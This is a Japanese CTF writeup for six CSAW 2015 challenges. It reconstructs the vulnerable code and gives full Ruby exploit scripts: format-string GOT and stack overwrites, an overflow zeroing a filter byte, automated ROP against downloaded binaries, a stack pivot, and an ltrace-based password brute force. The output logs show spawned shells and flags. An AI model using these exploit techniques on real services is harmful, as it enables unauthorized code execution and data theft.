CSAW CTF 2015 writeup
CSAW CTF 2015にvulscryptosで参加しました。
チームで31問解いて5860ptの14位、
私は5問解いて1900pt(+アシスト1問400pt)入れました(*´ω`*)
チームメンバーのwriteup:
CSAW CTF 2015 writeup (@_193s) | 193s::Diary 2
関わった6問のwriteupをおいておきます(`・ω・´)
contacts (Exploitables 250)
$ ./contacts Menu: 1)Create contact 2)Remove contact 3)Edit contact 4)Display contacts 5)Exit >>> 1 Contact info: Name: name [DEBUG] Haven't written a parser for phone numbers; You have 10 numbers Enter Phone No: 1234567890 Length of description: 10 Enter description: hogehoge Menu: 1)Create contact 2)Remove contact 3)Edit contact 4)Display contacts 5)Exit >>> 4 Contacts: Name: name Length 10 Phone #: 1234567890 Description: hogehoge Menu: 1)Create contact 2)Remove contact 3)Edit contact 4)Display contacts 5)Exit >>> 5 Thanks for trying out the demo, sadly your contacts are now erased
電話帳アプリのデモ版。
まずは下調べ。
$ file contacts contacts: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=a2c73697f9555c6be6c57478029e352df1f28cc8, stripped $ checksec.sh --file contacts RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH contacts
Cに直すとこんな感じ。
typedef struct { //size = 0x50 char *description; //0x0 char *phone; //0x4 char name[64]; //0x8 int length; //0x48 int is_used; //0x4c } Contact; int count; //0x0804b088 Contact contacts[10]; //0x0804b0a0 void set_name(Contact *contact){ printf("\tName: "); fgets(contact->name, 64, stdin); if(strchr(contact->name, '\n')){ *strchr(contact->name, '\n') = '\0'; } } void set_phone(Contact *contact){ printf("[DEBUG] Haven't written a parser for phone numbers; "); puts("You have 10 numbers"); contact->phone = (char*)malloc(11); if(contact->phone == NULL){ exit(1); } printf("\tEnter Phone No: "); fgets(contact->phone, 11, stdin); if(strchr(contact->name, '\n')){ *strchr(contact->name, '\n') = '\0'; } } void set_description(Contact *contact){ int length; //ebp-0xc printf("\tLength of description: "); scanf("%u%*c", &length); contact->length = length; contact->description = (char*)malloc(length + 1); if(contact->description == NULL){ exit(1); } printf("\tEnter dedscription:\n\t\t"); fgets(contact->description, length + 1, stdin); if(contact->description == NULL){ exit(1); } } void create_contact(Contact *head){ Contact *new_contact; //ebp-0x10 int i; //ebp-0xc new_contact = head; i = 0; while(!new_contact->is_used && i < 10){ i += 1; new_contact += 1; } puts("Contact info: "); set_name(new_contact); set_phone(new_contact); set_description(new_contact); new_contact->is_used = 1; count += 1; } void remove_contact(Contact *head){ Contact *contact; //ebp-0x54 int i; //ebp-0x50 char name[64]; //ebp-0x4c int canary; //ebp-0xc contact = head; printf("Name to remove? "); fgets(name, 64, stdin); if(strchr(name, '\n')){ *strchr(name, '\n') = '\0'; } for(i = 0; i < 10; i++, contact++){ if(contact->is_used && !strcmp(contact->name, name)){ memset(contact->name, 0, 64); free(contact->description); contact->length = 0; contact->is_used = 0; count -= 1; printf("Removed: %s\n\n", name); return; } } puts("Name not found dude"); } void edit_contact(Contact *head){ int length; //ebp-0x5c int selection; //ebp-0x58 Contact *contact; //ebp-0x54 int i; //ebp-0x50 char name[64]; //ebp-0x4c int canary; //ebp-0xc contact = head; printf("Name to change? "); fgets(name, 64, stdin); if(strchr(name, '\n')){ *strchr(name, '\n') = '\0'; } for(i = 0; i < 10; i++, contact++){ if(strcmp(name, contact->name)){ printf( "1.Change name\n" "2.Change description\n" ">>> " ); scanf("%u%*c", &selection); switch(selection){ case 1: printf("New name: "); fgets(contact->name, length, stdin); //[!] 'length' is not initialized. This may cause buffer overflow. if(strchr(contact->name, '\n')){ *strchr(contact->name, '\n') = '\0'; } case 2: free(contact->description); printf("Length of description: "); scanf("%u%*c", &length); printf("Description: \n\t"); contact->description = malloc(length); fgets(contact->description, length, stdin); default: puts("Bad option"); break; } } } puts("Name not found"); } void show_contact_info(char *name, int length, char *phone, char *description){ printf("\tName: %s\n", name); printf("\tLength %u\n", length); printf("\tPhone #: %s\n", phone); printf("\tDescription: "); printf(description); //[!] format string bug } void display_contacts(Contact *head){ Contact *contact; //ebp-0x10 int i; //ebp-0xc contact = head; if(count == 0){ puts("\nAdd contacts first"); return; } puts("Contacts:"); for(i = 0; i < 10; i++, contact++){ if(contact->is_used){ show_contact_info(contact->name, contact->length, contact->phone, contact->description); } } } int main(){ int i; //esp+0x1c int selection; //esp+0x18 stvbuf(stdout, 0, 2, 0); for(i = 0; i < 10; i++){ memset(&contacts[i], 0, 0x50); } while(selection != 5){ printf("%s", "Menu:\n" "1)Create contact\n" "2)Remove contact\n" "3)Edit contact\n" "4)Display contacts\n" "5)Exit\n" ">>> " ); scanf("%u%*c", &selection); switch(selection){ case 1: create_contact(contacts); break; case 2: remove_contact(contacts); break; case 3: edit_contact(contacts); break; case 4: display_contacts(contacts); break; case 5: continue; default: puts("Invalid option"); break; } } puts("Thanks for trying out the demo, sadly your contacts are now erased"); return 0; }
edit_contact
のname
編集部でbuffer overflowすることで、後続のContact
が持つポインタの書き換えが可能
ポインタを書き換えた状態でdisplay_contacts
することで、メモリ上の任意の場所のデータをリークできるshow_contact_info
のdescription
出力部にformat string bug
という脆弱性がある。
edit_contact
のbofでgotをリークさせ、show_contact_info
のfsbでmain
のリターンアドレス周辺を書き換えて、main
から戻る時にsystem("/bin/sh")
が呼ばれるようにした。
#coding:ascii-8bit require_relative "../../pwnlib" remote = true if remote host = "54.165.223.128" port = 2555 libc_offset = { "__libc_start_main" => 0x19970, "system" => 0x3fcd0 } else host = "192.168.0.2" port = 54321 libc_offset = { "__libc_start_main" => 0x19990, "system" => 0x40190 } end got = { "__libc_start_main" => 0x0804b034 } def create_contact(tube, name, phone, length, description) tube.recv_until(">>>") tube.send("1\n") tube.recv_until("Name:") tube.send(name + "\n") tube.recv_until("Phone No:") tube.send(phone + "\n") tube.recv_until("Length of description:") tube.send(length.to_s + "\n") tube.recv_until("Enter description:") tube.send(description + "\n") end def remove_contact(tube, name) tube.recv_until(">>>") tube.send("2\n") tube.recv_until("Name to remove?") tube.send(name + "\n") end def edit_contact_name(tube, target_name, new_name) tube.recv_until(">>>") tube.send("3\n") tube.recv_until("Name to change?") tube.send(target_name + "\n") tube.recv_until(">>>") tube.send("1\n") tube.recv_until("New name:") tube.send(new_name + "\n") end def edit_contact_description(tube, target_name, length, description) tube.recv_until(">>>") tube.send("3\n") tube.recv_until("Name to change?") tube.send(target_name + "\n") tube.recv_until(">>>") tube.send("2\n") tube.recv_until("Length of description:") tube.send(length.to_s + "\n") tube.recv_until("Description:") tube.send(description + "\n") end def display_contacts(tube) tube.recv_until(">>>") tube.send("4\n") end PwnTube.open(host, port){|tube| tube.wait_time = 0 puts "[*] create 2 contacts" create_contact(tube, "1", "1", 10, "1") create_contact(tube, "2", "2", 10, "2") puts "[*] overwrite contact2" edit_contact_description(tube, "1", 160, "%6$p") payload = "" payload << "1" + "\0" * 63 payload << "A" * 8 payload << [0].pack("L") payload << [got["__libc_start_main"]].pack("L") payload << "2\0" edit_contact_name(tube, "1", payload) puts "[*] leak stack address & libc base" display_contacts(tube) stack = tube.recv_capture(/Description: (0x[0-9a-f]+)\n/)[0].to_i(16) libc_base = tube.recv_capture(/Length 10\s+Phone #: (.{4})/m)[0].unpack("L")[0] - libc_offset["__libc_start_main"] printf("stack = 0x%08x\n", stack) printf("libc base = 0x%08x\n", libc_base) puts "[*] overwrite stack" payload = [libc_offset["system"] + libc_base, 0, 0x0804b0a8].pack("L*") for i in 0...payload.length print "." edit_contact_description(tube, "1", 100, "%#{(stack + 0x34 + i) & 0xffff}c%37$hn") if payload.bytes[i] == 0 edit_contact_description(tube, "2", 100, "%69$hhn") else edit_contact_description(tube, "2", 100, "%#{payload.bytes[i]}c%69$hhn") end display_contacts(tube) end puts puts "[*] send /bin/sh" remove_contact(tube, "2") edit_contact_name(tube, "1", "/bin/sh") puts "[*] trigger" tube.recv_until(">>>") tube.send("5\n") tube.shell }
$ ruby contacts.rb [*] connected [*] create 2 contacts [*] overwrite contact2 [*] leak stack address & libc base stack = 0xff875578 libc base = 0xf7618000 [*] overwrite stack ............ [*] send /bin/sh [*] trigger [*] waiting for shell... [*] interactive mode id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) ls -la total 44 drwxr-xr-x 2 ctf ctf 4096 Sep 18 19:39 . drwxr-xr-x 4 root root 4096 Sep 18 01:00 .. -rw------- 1 ctf ctf 922 Sep 19 05:16 .bash_history -rw-r--r-- 1 ctf ctf 220 Sep 18 01:00 .bash_logout -rw-r--r-- 1 ctf ctf 3637 Sep 18 01:00 .bashrc -rwxrwxr-x 1 ctf ctf 9716 Sep 18 19:38 contacts_54f3188f64e548565bc1b87d7aa07427 -rw-rw-r-- 1 ctf ctf 35 Sep 18 19:21 flag -rw-r--r-- 1 ctf ctf 675 Sep 18 01:00 .profile -rw-rw-r-- 1 ctf ctf 66 Sep 18 01:02 .selected_editor cat flag flag{f0rm47_s7r1ng5_4r3_fun_57uff} exit [*] end interactive mode [*] connection closed
FLAG:flag{f0rm47_s7r1ng5_4r3_fun_57uff}
FTP 2 (Exploitables 300)
$ nc localhost 12012 Welcome to FTP server noop login with USER first user blankwall Please send password for user blankwall pass UJD737logged in noop NOOP ok quit Goodbye :)
簡易FTPサービス。
一部をCに直すとこんな感じ。
typedef struct { //size = 0x4c8 int fd; //0x0 int pasv_sock_fd; //0x4 int pasv_socket; //0x8 int field_c; //0xc char *command; //0x10 char *arg; //0x18 char *username; //0x20 char *password; //0x28 char host[128]; //0x30 long port; //0xb0 long field_b8; //0xb8 char current_directory[1024]; //0xc0 int is_loggedin; //0x4c0 int field_4c4; //0x4c4 } char pasv_buffer[]; //0x604200 int NG_char = 'f'; //0x604408 // RETR command void do_retr(Status *_status){ Status *status = _status; //rbp-0x48 char *var_30; //rbp-0x30 char *filename; //rbp-0x18 long var_28; //rbp-0x28 filename = build_path(status, status->arg); var_30 = filename; var_28 = strlen(filename); while(1){ if(*var_30 == NG_char || --var_28 == 0){ break; } var_30++; } if(*(var_30 + 1) != '\0'){ my_send(status->fd, "Invalid character specified\n"); return; } //send file } // STOR command void do_stor(Status *_status){ Status *status = _status; //0x48 int total_length; //rbp-0x34 int recv_length; //rbp-0x2c char *path; //rbp-0x20 total_length = 0; path = build_path(status, status->arg); if(accept_pasv(status) < 0){ my_send(status->fd, "connection cannot be established.\n"); return; } my_send(status->fd, "transfer starting.\n"); while(1){ recv_length = recv(status->pasv_sock_fd, pasv_buffer, 10, 0); if(recv_length < 0){ my_send(status->fd, "error receiving file"); break; } if(recv_length == 0){ break; } total_length += recv_length; } printf("Storing file %s", status->arg); pasv_buffer[total_length] = '\0'; //[!] &pasv_buffer[0x208] == &NG_char entry_count++; files[entry_count] = create_entry(path, total_length); my_send(status->fd, "transfer complete\n"); end_pasv(status); }
flag.txtを読めたら勝ちという問題だが、フルパスに'f'が含まれるファイルをRETRで取ってこようとすると怒られる仕様になっている。
do_stor
を見ると、ファイル受信後にバッファ(pasv_buffer
)をnull終端している(つもりになっている)処理があるが、total_length
のチェックをしていないため、pasv_buffer
より後ろにある任意のバイトを0にすることができる。
これを利用してNG_char
を'\0'にしてしまい、flag.txtを取得した。
#coding:ascii-8bit require_relative "../../pwnlib" username = "blankwall" password = "UJD737" remote = true if remote @host = "54.175.183.202" else @host = "192.168.0.2" end def cwd(tube, directory) tube.send("cwd #{directory}") tube.recv_until("directory changed successfully") end def retr(tube, filename) port = pasv(tube) tube.send("retr #{filename}\n") pasv_recv(port) end def list(tube) port = pasv(tube) tube.send("list") result = pasv_recv(port) tube.recv_until("LIST complete") result end def stor(tube, filename, data) port = pasv(tube) tube.send("stor #{filename}") pasv_send(port, data) tube.recv_until("transfer complete") end def pasv(tube) tube.send("pasv") tube.recv_capture(/PASV succesful listening on port: (\d+)\n/)[0].to_i end def pasv_recv(port) buf = "" PwnTube.open(@host, port){|tube| tube.wait_time = 0 while s = tube.recv if s.length == 0 break end buf << s end } buf end def pasv_send(port, data) PwnTube.open(@host, port){|tube| tube.wait_time = 0 tube.send(data) } end PwnTube.open(@host, 12012){|tube| tube.wait_time = 0 tube.recv_until("Welcome to FTP server") puts "[*] login" tube.send("user #{username}\n") tube.recv_until("Please send password for") tube.send("pass #{password}") tube.recv_until("logged in") puts "[*] overwrite NGchar" stor(tube, "test", "A" * 0x208) puts "[*] retrieve flag" puts retr(tube, "flag.txt") }
$ ruby ftp.rb [*] connected [*] login [*] overwrite NGchar [*] connected [*] connection closed [*] retrieve flag [*] connected [*] connection closed flag{exploiting_ftp_servers_in_2015} [*] connection closed
FLAG:flag{exploiting_ftp_servers_in_2015}
autobots (Exploitables 350)
問題サーバに繋ぐと、Cに直すとこんな感じのechoサーバのバイナリ(x86_64 ELF)が降ってくる。
void main(){ struct sockaddr_in addr; //rbp-0x110 char buf[248]; //rbp-0x100 int sock_fd; //rbp-0x8 int sock; //rbp-4 sock = socket(2, 1, 0); memset(&addr, 0, 16); addr.sin_family = 2; addr.sin_addr.s_addr = htons(0); addr.sin_port = htons(24299); bind(sock, &addr, 16); listen(sock, 10); sock_fd = accept(sock, 0, 0); read(sock_fd, buf, 220); write(sock_fd, buf, strlen(buf) + 1); }
ELFを落とす度にechoサーバのポート・バッファのサイズ・read
のバイト数・関数のアドレスが変わる。
バッファサイズ < readのバイト数
になっている場合はbuffer overflowを引き起こせるため、ELFダウンロード→解析→ROP までの動作を自動で行うexploitを書く必要がある。
echoサーバのポート番号やバッファのサイズ等、ROPに必要な情報はobjdumpやreadelfの出力から取得し、ROP可能なバイナリが降ってきたらshellを取る仕組みにした。
#coding:ascii-8bit require "open3" require_relative "../../pwnlib" remote = true if remote @host = "52.20.10.244" libc_base = 0x00007ffff7b00860 - 0xeb860 # ASLR is disabled libc_offset = { "system" => 0x46640 } else @host = "127.0.0.1" end got = { "write" => 0x601018, "read" => 0x601038, "system" => 0x601100 } def download_binary PwnTube.open(@host, 8888, nil){|tube| buf = "" while (s = tube.recv) && s.length > 0 buf << s end return buf } end def analyze objdump = Open3.capture2("objdump -d -Mintel binary")[0] port = objdump.match(/eax\n.+?mov +edi,(0x[0-9a-f]+)\n/).captures[0].to_i(16) bufsize = objdump.match(/eax\n.+?lea +rcx,\[rbp-(0x[0-9a-f]+)\]/).captures[0].to_i(16) readsize = objdump.match(/\[rbp-0x8\]\n.+?mov +edx,(0x[0-9a-f]+)\n/).captures[0].to_i(16) [port, bufsize, readsize] end def get_gadget_address Open3.capture2("readelf -a binary | grep __libc_csu_init")[0].match(/\d+: ([0-9a-fA-F]+) + \d+ +FUNC/).captures[0].to_i(16) end def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0) gadget = get_gadget_address payload = "" payload << [gadget + 90, 0, 1, func, arg3, arg2, arg1].pack("Q*") payload << [gadget + 64].pack("Q") payload << [0].pack("Q") * 7 payload end port, bufsize, readlength = [] while true puts "[*] download binary" if remote binary = download_binary open("binary", "wb"){|io|io.write binary} end puts "[*] analyze" port, bufsize, readlength = analyze puts "port = #{port}" puts "buffer size = #{bufsize}" puts "read length = #{readlength}" puts "overflow length = #{readlength - bufsize}" puts if readlength - bufsize - 8 >= 256 break else puts "[*] retry" end end puts "[*] pwn" PwnTube.open(@host, port){|tube| tube.wait_time = 0 =begin puts "[*] leak got" payload = "" payload << "\0" * (bufsize + 8) payload << call_func(got["write"], 6, 0x601018, 88) tube.send(payload) puts tube.recv_until(/.{88}/).unpack("Q*").map{|a|sprintf("0x%016x", a)}.join(" ") =end puts "[*] send rop" payload = "" payload << "\0" * (bufsize + 8) payload << call_func(got["read"], 6, got["system"], 0x100) payload << call_func(got["system"], got["system"] + 8) tube.send(payload) puts "[*] create entry" payload = "" payload << [libc_base + libc_offset["system"]].pack("Q") payload << "/bin/sh <&6 >&6 2>&6\0" tube.send(payload) tube.interactive }
$ ruby autobot.rb [*] download binary [*] analyze port = 14172 buffer size = 256 read length = 192 overflow length = -64 [*] retry [*] download binary [*] analyze port = 9146 buffer size = 144 read length = 28 overflow length = -116 [*] retry [*] download binary [*] analyze port = 60580 buffer size = 160 read length = 386 overflow length = 226 [*] retry [*] download binary [*] analyze port = 26148 buffer size = 224 read length = 162 overflow length = -62 [*] retry [*] download binary [*] analyze port = 11847 buffer size = 384 read length = 71 overflow length = -313 [*] retry [*] download binary [*] analyze port = 62539 buffer size = 64 read length = 43 overflow length = -21 [*] retry [*] download binary [*] analyze port = 19328 buffer size = 416 read length = 91 overflow length = -325 [*] retry [*] download binary [*] analyze port = 1597 buffer size = 208 read length = 34 overflow length = -174 [*] retry [*] download binary [*] analyze port = 47179 buffer size = 432 read length = 265 overflow length = -167 [*] retry [*] download binary [*] analyze port = 27053 buffer size = 32 read length = 329 overflow length = 297 [*] pwn [*] connected [*] send rop [*] create entry [*] interactive mode id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) ls -la total 448 drwxr-xr-x 3 ctf ctf 4096 Sep 19 15:34 . drwxr-xr-x 4 root root 4096 Sep 17 20:17 .. (snip) -rw-rw-r-- 1 ctf ctf 3397 Sep 19 02:34 autobots.py -rwxrwxrwx 1 ctf ctf 8955 Sep 19 12:58 b0d93db7f7fc8694be6abdfce86f4537 -rwxrwxrwx 1 ctf ctf 8955 Sep 19 15:34 baa9d40f0ae0389af23201c8d7ad7399 -rw------- 1 ctf ctf 1068 Sep 19 15:05 .bash_history drwxrwxr-x 2 ctf ctf 4096 Sep 19 02:22 .byobu -rwxrwxrwx 1 ctf ctf 8955 Sep 19 15:34 cb8dffd0348a91b4297b09cdc405626f -rwxrwxrwx 1 ctf ctf 8955 Sep 19 15:34 deea8bf6e800d50809dfd60f6854e019 -rwxrwxrwx 1 ctf ctf 8955 Sep 19 09:40 e1809f009d9abb0a8eccbbff86dcb304 -rwxrwxrwx 1 ctf ctf 8955 Sep 19 15:34 f59bdc2da10812b65967df153553c51d -rwxrwxrwx 1 ctf ctf 8955 Sep 19 15:34 f82acf2735148b4c2755419b318d5670 -rwxrwxrwx 1 ctf ctf 8955 Sep 19 15:34 fcc2066d75eea7c452d7f4759ed0e83c -r-------- 1 ctf ctf 34 Sep 17 21:14 flag -rw-rw-r-- 1 ctf ctf 34 Sep 19 13:40 nc cat flag flag{c4nt_w4it_f0r_cgc_7h15_y34r} exit [*] end interactive mode [*] connection closed
FLAG:flag{c4nt_w4it_f0r_cgc_7h15_y34r}
memeshop (Exploitables 400)
$ ruby memeshop.rb hi fellow memers welcome to the meme shop u ready 2 buy some dank meme? --------------------------- --------------------------- so... lets see what is on the menu [p]rint receipt from confirmation number [n]ic cage (RARE MEME) [d]erp d[o]ge (OLD MEME, ON SALE) [f]ry (SHUT UP AND LET ME TAKE YOUR MONEY) n[y]an cat [l]ike a sir [m]r skeletal (doot doot) [t]humbs up t[r]ollface.jpg [c]heck out [q]uit q bye
よくわからないものを売るサービス。
ファイルパスをbase64エンコードしたものをprint receiptに渡すことで任意のファイルを出力することができる。(ディレクトリ・トラバーサルとも言えるかも?)
/proc/self/cmdlineを読んでサーバで動いているスクリプトのファイル名を確認し、スクリプトを取得した。
#!/usr/bin/env ruby GC.disable require 'tempfile' require 'base64' require 'colorize' require_relative './plugin/mememachine.so' include MemeMachine $stdout.sync = true @meme_count = 0 def print_menu puts "[p]".green+ "rint receipt from confirmation number" puts "[n]".green + "ic cage (RARE MEME)" puts "[d]".green + "erp" puts "d" + "[o]".green + "ge (OLD MEME, ON SALE)" puts "[f]".green + "ry (SHUT UP AND LET ME TAKE YOUR MONEY)" puts "n" + "[y]".green + "an cat" puts "[l]".green + "ike a sir" puts "[m]".green + "r skeletal (doot doot)" puts "[t]".green + "humbs up" puts "t" + "[r]".green + "ollface.jpg" puts "[c]".green + "heck out" puts "[q]".red + "uit" end def print_receipt print "ok, let me know your order number bro: " str = gets.chomp f = Base64.decode64 str if f.include? "flag" or f.include? "*" puts "flag{just kidding, you need a shell}" elsif File.exist? f puts "ok heres ur receipt or w/e" puts IO.read(f) else puts "sry br0, i have no records of that" end puts "" end def checkouter str = "u got memed on #{@meme_count} times, memerino" file = Tempfile.new "meme" file.write str ObjectSpace.undefine_finalizer file puts "ur receipt is at #{Base64.encode64 file.path}" puts checkout @meme_count end def domeme name @meme_count = @meme_count + 1 meme = IO.read name puts meme addmeme end def skeletal @meme_count = @meme_count + 1 puts IO.read "./memes/skeleton.meme" puts "so... what do you say to mr skeletal?" str = gets puts addskeletal Base64.decode64 str end puts "hi fellow memers" puts "welcome to the meme shop" puts "u ready 2 buy some dank meme?" puts " --------------------------- " puts IO.read Dir.glob("fortunes/*").sample puts " --------------------------- " puts "so... lets see what is on the menu" quit = false while not quit print_menu val = gets.chomp case val[0] when 'q' quit = true next when 'p' print_receipt next when 'o' domeme "./memes/doge.meme" next when 'n' domeme "./memes/cage.meme" next when 'd' domeme "./memes/derp.meme" next when 'f' domeme "./memes/fry.meme" next when 'n' domeme "./memes/nyan.meme" next when 'l' domeme "./memes/sir.meme" next when 'm' skeletal next when 't' domeme "./memes/thumbup.meme" next when 'r' domeme "./memes/troll.meme" next when 'c' checkouter quit = true next end end puts "bye"
mememachine.soとは何ぞやということでこれも取得し、解析。
#define TYPE_MEME 0 #define TYPE_SKELETAL 1 typedef struct { //size = 0x18 long field_0; //0x0 int (*func)(int); //0x8 int field_10; //0x10 int field_14; //0x14 } Meme; typedef struct { char message[128]; //0x0 char field_80[136]; //0x80 int (*func)(int); //0x108 int field_110; //0x110 int field_114; //0x114 } Skeletal; int types_tracker; //0x202084 unsigned char counter; //0x202088 void *memerz[]; //0x2020c0 long types[]; //0x2028c0 VALUE method_addmeme(VALUE self){ Meme *meme; meme = (Meme*)malloc(sizeof(Meme)); meme->field_10 = 0; meme->func = gooder; memerz[counter++] = meme; types[types_tracker++] = TYPE_MEME; return rb_str_new_static("meme successfully added", 23); } VALUE method_addskeletal(VALUE self, VALUE arg1){ char *message; Skeletal *skeletal; message = (char*)arg1 + 0x10; if(*(long*)arg1 & 0x2000){ message = (char*)arg1 + 0x18; } skeletal = (Skeletal*)malloc(sizeof(Skeletal)); strncpy(skeletal->message, message, 128); skeletal->func = gooder; skeletal->field_110 = 0; if(strncmp(skeletal->message, "thanks mr skeletal", 19)){ memerz[counter++] = skeletal; types[types_tracker++] = TYPE_SKELETAL; return rb_str_new_static("meme successfully added", 23); }else{ types[types_tracker++] = TYPE_SKELETAL; memerz[counter++] = skeletal; skeletal->func = badder; return rb_str_new_static("im going to steal all ur calcuims", 33); } } VALUE method_checkout(VALUE self, VALUE arg1){ int meme_count; int i; void *obj; int result = 0; meme_count = fix2int(arg1); if(meme_count <= 0){ return rb_str_new_static("successfully checked out", 24); } for(i = 0; i < meme_count; i++){ obj = &memerz[i]; //edx = type[i] if(types[i] == TYPE_MEME){ //edx is 0 result |= ((Meme*)obj)->func(((Meme*)obj)->field_10); }else{ result |= ((Skeletal*)obj)->func(((Skeletal*)obj)->field_110); } } if(result){ return rb_str_new_static("you are going to get memed on so hard with no calcium", 53); }else{ return rb_str_new_static("successfully checked out", 24); } } void Init_mememachine(){ MemeMachine = rb_define_module("MemeMachine"); rb_define_method(MemeMachine, "addmeme", method_addmeme, 0); rb_define_method(MemeMachine, "addskeletal", method_addskeletal, 1); rb_define_method(MemeMachine, "checkout", method_checkout, 1); }
types_tracker
が32bit整数なのに対してcounter
が8bit整数なため、257個目のMeme登録時に更新されるのはtypes[256]
とmemerz[0]
になる。
つまり、Memeを256個登録した後にSkeletalを1個登録することで、types[0] = TYPE_MEME
なのにmemerz[0]
に入っているのはSkeletalというちぐはぐなことになる。
types
とmemerz
がちぐはぐになっていると、checkout
時に
・typesとmemerzの整合性がとれているとき +----+ | v +--------+--------+ | Meme | Meme | +--------+--------+ Meme内の関数ポインタ(func)が使われる ・types[0] = TYPE_MEMEなのにmemerz[0]がSkeletalなとき +----+ | v +------------+--------+ | Skeletal | Meme | +------------+--------+ Skeletal内のデータ(message)が関数ポインタになる
という風になり、ripを奪うことができる。
さて、ripを奪えることはわかったが、((Meme*)obj)->func
の引数はediにセットされるため、引数"/bin/sh"
のアドレスが32bitに収まらないsystem("/bin/sh")
は呼ぶことができない。
libc内のOne-Gadget-RCEが使えないか調べたが、スタックの状態がよろしくないため断念。
libruby内にOne-Gadget-RCEがないかついでに調べてみたところ、
gdb-peda$ pdisass rb_exec_async_signal_safe Dump of assembler code for function rb_exec_async_signal_safe: (snip) 0x0000000000115a79 <+361>: lea rdx,[rip+0x10dbe8] # "-c" 0x0000000000115a80 <+368>: lea rsi,[rip+0x10dbe9] # "sh" 0x0000000000115a87 <+375>: lea rdi,[rip+0x10dbdd] # "/bin/sh" 0x0000000000115a8e <+382>: xor r8d,r8d 0x0000000000115a91 <+385>: xor eax,eax 0x0000000000115a93 <+387>: call 0x2c420 <execl@plt> (snip)
こんな処理を見つけた。(これはローカルのlibrubyなので、リモートだとアドレスは多少変動する)
types[i]
が0の場合はedxも0になるため、この状態でrb_exec_async_signal_safe+368
に飛べばexecl("/bin/sh", "sh", NULL)
が実行されてshellが取れる。
ということで、
- /proc/self/mapsを読んでlibrubyのベースアドレスを調べる
- Memeを256個登録
- librubyのOne-Gadget-RCEのアドレスを詰め込んだSkeletonを登録
- checkout
という手順でshellを取った。
exploitは193sプロが書いてくれたのでここでは割愛する。
rhinoxorus (Exploitables 500)
この問題は大会開始後しばらくしてからソースが公開された。
最大256バイト読み込んだ後、こんな感じの関数に放り込まれる。
unsigned char func_31(unsigned char *buf, unsigned int count) { unsigned int i; unsigned char localbuf[0x80]; //localbufのサイズ, byteはbufの最初のバイトにより変動する unsigned char byte=0x80; memset(localbuf, byte, sizeof(localbuf)); printf("in function func_31, count is %u, bufsize is 0x80\n", count); if (0 == --count) { return 0; } for (i = 0; i < count; ++i) { localbuf[i] ^= buf[i]; } func_array[localbuf[0]](localbuf+1, count); return 0; }
ここでcount
がlocalbuf
のサイズより大きいと、xor時にスタックを破壊できる。
が、カナリアがいるためどうしたものかと悩んでいると、「buf
に"\x00"を入れればカナリアが書き換わらないよね」というアドバイスをチームメンバーからいただいた。
ということで、一番最初に呼ばれるfunc_XX
のスタックを……
+------------+ | | | localbuf | <-localbufのサイズはpayloadの一番最初のバイトに依存 | | +------------+ | canary | +------------+ | garbage | <-8byte +------------+ | saved-ebp | +------------+ | 0x08056afa | <-return address(process_connection) +------------+ | | <-recv_bufのアドレス +------------+ |payload size| <-次段のfunc_XXの引数countになる +------------+ | 0x100 | +------------+ | 0 | +------------+ | | +------------+ | | | recv_buf | | |
↑から↓に書き換え……
+------------+ | | | localbuf | | | +------------+ | canary | +------------+ | garbage | +------------+ | xxxxxxxx | <-recv_buf内のアドレス。stack pivot用 +------------+ | leave_ret | <-stack pivot用 +------------+ | | +------------+ | 1 | <-countを1にしておけば、次段のfunc_XXがすぐ終了する +------------+ | 0x100 | +------------+ | 0 | +------------+ | | +------------+ | | | recv_buf | <-この中にROPを入れておく | |
一番最初のfunc_XX
から戻ったときにstack pivot→ROPでsock_send(sock_fd, password, 256)
が呼ばれるようにした。
#coding:ascii-8bit require_relative "../../pwnlib" remote = true if remote host = "54.152.37.20" port = 24242 else host = "192.168.0.2" port = 24242 end for fd in 3..10 PwnTube.open(host, port){|tube| tube.wait_time = 0 localbuf_size = 0xc0 readsize = localbuf_size + 27 ret_gadget = 0x0804a83d leave_ret_gadget = 0x0804a83c retaddr = leave_ret_gadget rop = [0x0804884b, 0, fd, 0x0805f0c0, 0x100].pack("L*") payload = "" payload << "\xcf" * 4 #localbuf用 payload << [ret_gadget].pack("L*") * ((localbuf_size - rop.length - 4) / 4) # ret-sled payload << rop payload << "\0" * 4 # canary用 payload << " " # ごみ用 payload << [0x180].pack("L") # ebp用 payload << [0x08056afa ^ retaddr].pack("L") # リターンアドレス書き換え用 payload << " " # recv_buf用 payload << [readsize ^ 1].pack("L") # 直後のfunc_XXのcountを1にする用 raise "payload too long" if payload.length > 256 tube.send(payload) tube.interactive } end
FLAG:cc21fe41b44ba70d0e6978c840698601
wyvern (Reversing 500)
C++のごちゃごちゃしてるバイナリ。
start_quest
内を適当に眺めているとstd::string::length(input) - 1
とlegend >> 2
(legend
= 0x73)を比較している処理を見つけた。
ここからパスワードの長さが28文字と仮定して実行してみたところ、sanitize_input
という関数が呼ばれるようになった。
sanitize_input
内を見てみると、std::string::operator[]
に入力が渡されていた。
$ ruby -e 'puts "A"*28' | ltrace ./wyvern (snip) _ZNSsixEm(0x7ffdf6862240, 0, 0xffffffff, 0) = 0x1dbc1b8 (snip)
最初の文字だけ見て終了しているっぽかったので、文字をいろいろ変えてみたところ、
$ ruby -e 'puts "d"*28' | ltrace ./wyvern (snip) _ZNSsixEm(0x7fff228aa400, 0, 0xffffffff, 0) = 0x12ec1b8 (snip) _ZNSsixEm(0x7fff228aa400, 1, 0xffffffff, 0) = 0x12ec1b9 (snip)
最初の文字がd
だと2番目の文字も見てくれるようになった。
これなら1文字ずつブルートフォースすればパスワード特定できるじゃん、ということで、スクリプトを書いた。
require "open3" def count(input) Open3.popen3("ltrace ./wyvern"){|stdin, stdout, stderr, t| stdin.puts input stdin.close stderr.read.scan(/_ZNSsixEm/).length } end def get_flag(input) Open3.popen3("./wyvern"){|stdin, stdout, stderr, t| stdin.puts input stdin.close stdout.read.match(/flag{.+?}/) } end secret = "" while secret.length < 27 for i in 0x20..0x7e # print "." if count(secret + i.chr + "A" * (27 - secret.length)) == secret.length + 2 secret << i.chr break end end puts secret end for i in 0x20..0x7e # print "." result = get_flag(secret + i.chr) if result secret << i.chr puts secret puts result break end end
最後の文字だけはstd::string::operator[]
の呼び出し回数で判断できなかったため、フラグが出力されているかどうかで判断するようにした。
